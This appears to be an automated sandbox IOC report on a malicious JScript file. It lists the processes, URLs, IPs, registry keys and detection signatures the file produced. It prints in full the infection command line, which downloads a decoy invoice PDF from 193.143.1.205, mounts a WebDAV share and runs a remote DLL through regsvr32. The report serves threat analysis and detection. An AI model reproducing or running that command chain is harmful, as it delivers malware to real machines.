Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"

C:\Windows\System32\cmd.exe

cmd /c net use \\193.143.1.205@8888\davwwwroot\

C:\Windows\System32\net.exe

net use \\193.143.1.205@8888\davwwwroot\

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1632,i,4704499646644094334,4201205311762563793,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8

URLs

Name

Malicious

http://193.143.1.205:8888/Ya

unknown

Details

Name:	http://193.143.1.205:8888/Ya
TargetID:	7
From Memory:	true
Current Path:	C:\Windows\System32\net.exe
Source:	net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://193.143.1.205:8888/log5

unknown

Details

Name:	http://193.143.1.205:8888/log5
TargetID:	7
From Memory:	true
Current Path:	C:\Windows\System32\net.exe
Source:	net.exe, 00000007.00000002.2110817748.00000266C6378000.00000004.00000020.00020000.00000000.sdmp

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://193.143.1.205/invoice.php

193.143.1.205

Details

Name:	http://193.143.1.205/invoice.php
IP:	193.143.1.205
TargetID:	4
From Memory:	false
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source:	network
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Powershell launch regsvr32	HIPS / PFW / Operating System Protection Evasion
Suricata IDS alerts for network traffic	Networking
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
Gathers information about network shares	Stealing of Sensitive Information	Network Share Discovery
Sigma detected: Suspicious Invoke-WebRequest Execution	System Summary
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
IP address seen in connection with other malware	Networking
Sigma detected: Communication To Uncommon Destination Ports	System Summary
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process	System Summary
Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest	System Summary
Sigma detected: PowerShell Script Run in AppData	System Summary
Sigma detected: PowerShell Web Download	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: System Network Connections Discovery Via Net.EXE	System Summary
Sigma detected: Windows Share Mount Via Net.EXE	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

https://g.live.com/odclientsettings/Prod/C:

unknown

Details

Name:	https://g.live.com/odclientsettings/Prod/C:
TargetID:	-1
From Memory:	true
Source:	edb.log.9.dr, qmgr.db.9.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://crl.ver)

unknown

Details

Name:	http://crl.ver)
TargetID:	9
From Memory:	true
Current Path:	C:\Windows\System32\svchost.exe
Source:	svchost.exe, 00000009.00000002.3331489065.000001C54A400000.00000004.00000020.00020000.00000000.sdmp
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://x1.i.lencr.org/

unknown

Details

Name:	http://x1.i.lencr.org/
TargetID:	8
From Memory:	true
Current Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source:	2D85F72862B55C4EADD9E66E06947F3D0.8.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

https://g.live.com/odclientsettings/ProdV2.C:

unknown

Details

Name:	https://g.live.com/odclientsettings/ProdV2.C:
TargetID:	-1
From Memory:	true
Source:	svchost.exe, 00000009.00000003.2109721456.000001C54A280000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://193.143.1.205:8888/

unknown

Details

Name:	http://193.143.1.205:8888/
TargetID:	7
From Memory:	true
Current Path:	C:\Windows\System32\net.exe
Source:	net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

Domains

Name

Malicious

bg.microsoft.map.fastly.net

199.232.214.172

e8652.dscx.akamaiedge.net

23.209.209.135

x1.i.lencr.org

unknown

Details

Name:	x1.i.lencr.org
TargetID:	-1
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

193.143.1.205

unknown

Details

IP:	193.143.1.205
TargetID:	4
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASN number:	57271
ASN name:	BITWEB-ASRU
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Powershell launch regsvr32	HIPS / PFW / Operating System Protection Evasion
Suricata IDS alerts for network traffic	Networking
Gathers information about network shares	Stealing of Sensitive Information	Network Share Discovery
Sigma detected: Suspicious Invoke-WebRequest Execution	System Summary
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Sigma detected: Communication To Uncommon Destination Ports	System Summary
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process	System Summary
Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest	System Summary
Sigma detected: PowerShell Script Run in AppData	System Summary
Sigma detected: PowerShell Web Download	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: System Network Connections Discovery Via Net.EXE	System Summary
Sigma detected: Windows Share Mount Via Net.EXE	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

23.209.209.135

e8652.dscx.akamaiedge.net

United States

127.0.0.1

unknown

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe

JScriptSetScriptStateStarted

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

LangID

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.FriendlyAppName

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.ApplicationCompany

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableAutoFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableConsoleTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

ConsoleTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

MaxFileSize

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileDirectory